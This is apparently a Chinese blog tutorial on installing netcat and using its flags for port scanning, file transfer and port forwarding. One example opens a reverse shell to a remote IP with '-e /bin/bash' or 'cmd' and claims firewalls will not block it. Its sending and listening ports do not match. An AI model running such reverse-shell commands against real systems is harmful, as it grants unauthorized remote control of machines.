nc工具安装与使用

  1. nc工具安装与使用
  2. 安装
    1. windows
    2. linux
  3. 使用
    1. 使用举例

nc工具安装与使用

安装

windows

https://eternallybored.org/misc/netcat/

下载下来就好

打开命令界面 cmd

输入nc命令即可

我是在测试sparkStreaming时候用到

输入 nc -L -p 9999

linux

yum -y install nc

使用

常用的一些命令

-4 IPv4模式
-6 IPv6模式
-b, --bluetooth 蓝牙模式 (默认为L2CAP协议)
-e,--exec=CMD 连接建立后执行命令
-l 监听入站连接
-n 指定数字的IP地址,不能用hostname

-u UDP模式
-t TCP模式(默认模式)

-v 详细输出——用两个-v可得到更详细的内容
-w,--time=SECONDS 连接建立后的延时
-z 扫描模式,不会发送任何数据
-T,--ttl=TTL 自定义初始TTL
-z 将输入输出关掉——用于扫描时
-x,--transfer 文件传输模式
-X ,--rev-transfer 反向文件传输模式
-s,--address=ADDRESS 本地源ip

使用举例

  • 1 . 端口扫描

    nc -z -v -n 172.31.100.7 21-25
    
  • 2 . 交互数据传输

    发送端

    nc 172.31.100.7 4444
    

    接收端

    nc -lvnp 4444
    
  • 3 . 文件传输

    发送端

    nc -lvnp 4444 < file.txt
    

    接收端

    nc -n 172.31.100.7 > file.txt
    
  • 4 . 反弹shell(不会被防火墙拦截)

    发送端(linux)

    nc 192.168.110.20 4445 -e /bin/bash   
    

    (windows)

    nc.exe -e cmd 192.168.110.20 4445 
    

    监听

    nc -lvnp 4444
    
  • 5.端口转发

    本地端口转发,将kali的8888端口转发到22端口

    nc -lp 8888 -c "nc 127.0.0.1 22"
    

c001fa0a9ba41c99f2785e7cbb821b41.jpeg

​ 远程端口转发,访问kali的7777端口,就是访问centos的22端口

nc -lp 7777 -c "nc 192.168.199.236 22"

0bee3204916dd3b027b3d0e5b2f921ce.jpeg


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。